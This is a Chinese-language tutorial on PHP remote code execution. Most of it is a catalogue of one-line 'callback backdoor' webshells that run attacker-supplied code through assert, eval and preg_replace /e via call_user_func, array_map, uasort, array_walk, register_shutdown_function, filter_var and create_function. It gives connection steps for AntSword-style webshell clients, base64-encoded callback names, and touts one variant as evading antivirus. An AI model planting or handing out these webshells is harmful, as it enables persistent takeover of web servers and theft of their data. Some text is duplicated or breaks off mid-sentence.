目录
rce简述
rce漏洞
rce漏洞产生分类
rce漏洞级别
创造tips的秘籍——回调后门
call_user_func
解析
如何执行后门
call_user_func_array
array_filter、array_map
解析
如何执行后门
php5.4.8+中的assert——二参数的回调函数
uasort
uksort
array_reduce()
array_udiff
三参数回调函数
无回显回调后门
单参数后门
其他参数型回调后门
rce简述
rce漏洞
rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。
rce漏洞产生分类
命令执行漏洞:直接调用操作系统(Windows或Linux)命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()、shell_exec()和passshru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
eval()
函数:eval()
是 PHP 中的一个内置函数,它接受一个字符串作为参数,并将该字符串作为 PHP 代码执行
assert()
函数:assert()
是 PHP 中的一个内置函数,用于检查给定的表达式是否为true
,如果传递的表达式是字符串,assert()
会将其作为 PHP 代码执行
系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。
调用的第三方组件存在代码执行漏洞:例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。
rce漏洞级别
RCE漏洞通常被认为是高危漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。一旦出现RCE漏洞,攻击者可以获取服务器的命令执行权限,对服务器安全造成极大的影响。
创造tips的秘籍——回调后门
call_user_func
解析
assert
在php7.4后的版本被废弃
call_user_func
— 把第一个参数作为回调函数调用
$_REQUEST
— HTTP Request 变量——默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组
将 $_REQUEST['pass']
的值作为参数传递给 assert()
函数
<?php call_user_func('assert',$_REQUEST['pass']);
等同于
<?php assert($_REQUEST)
如何执行后门
$_REQUEST['pass']
的值为 phpinfo();
代码变为:call_user_func('assert', 'phpinfo();')
GET连接 传递GET参数
是否可以给
pass
传递一个$_POST[123]
AntSword(蚁剑)连接密码处填写
123
失败
POST连接 传递POST参数
pass
$_POST[123]
失败
POST连接 传递POST参数
测试添加
eval
pass
eval($_POST[123])
成功
GET连接 传递GET参数
测试添加
eval
?pass=eval($_POST[123])
call_user_func_array
call_user_func_array
— 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array('assert', array($_REQUEST['pass']));
array_filter、array_map
解析
array_filter
— 使用回调函数过滤数组的元素
接受两个参数:第一个参数是要过滤的数组,第二个参数是回调函数
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e));
GET传参或POST传参——传递的回调函数选择assert
,代码对传递的$e
进行解码,传递的时候需要传递assert
进行base64编码后的值
POST传参——传递一个参数pass
,可以选择phpinfo();
测试
array_map
— 为数组的每个元素应用回调函数
接受两个参数:第一个参数是回调函数,第二个参数是要处理的数组
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr);
如何执行后门
php5.4.8+中的assert——二参数的回调函数
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
uasort
uasort
— 使用用户定义的比较函数对数组进行排序并保持索引关联
接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数
<?php $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e));
uksort
uksort()
是 PHP 的一个函数,用于使用用户定义的比较函数对数组的键进行排序。
接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。
<?php $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);
ArrayObject
是 PHP 的一个类,用于将数组封装为对象
uasort()
是 PHP 的一个函数,用于使用用户定义的比较函数对数组进行排序。
接受两个参数:第一个参数是要排序的数组,第二个参数是用户定义的比较函数。
代码 $arr->uasort('assert');
会将 assert
作为比较函数传递给 uasort()
。
uasort()
会将数组中的元素作为参数传递给 assert()
。
<?php $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert');
<?php $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert');
array_reduce()
array_reduce()
是 PHP 的一个函数,用于将数组中的元素通过回调函数依次处理,最终返回一个值。
它接受三个参数:
第一个参数是要处理的数组。
第二个参数是回调函数。
第三个参数是初始值(可选)
<?php $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']);
array_udiff
array_udiff()
是 PHP 的一个函数,用于计算数组的差集,并使用用户定义的比较函数进行比较。
它接受三个参数:
第一个参数是要比较的数组。
第二个参数是要比较的另一个数组。
第三个参数是用户定义的比较函数。
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
-
一个参数:assert
-
两个参数:assert (php5.4.8+)
-
三个参数:preg_replace /e模式
三个参数可以用preg_replace。构造array_walk + preg_replace的回调后门:
array_walk()
是 PHP 的一个函数,用于对数组中的每个元素应用用户自定义的函数。它接受三个参数:
第一个参数是要处理的数组。
第二个参数是用户自定义的函数。
第三个参数是传递给用户自定义函数的额外数据(可选)。
preg_replace - 执行一个正则表达式的搜索和替换
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, '');
无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
<?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();
可以写入
单参数后门
php全版本支持,不报不杀稳定执行
<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']);
<?php $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']);
<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
其他参数型回调后门
如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串
去“构造”一个满足条件的回调函数
怎么构造?使用create_function:
<?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
接受一个数组,并将数组的第一个元素$arr[0]传入assert。
类似
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);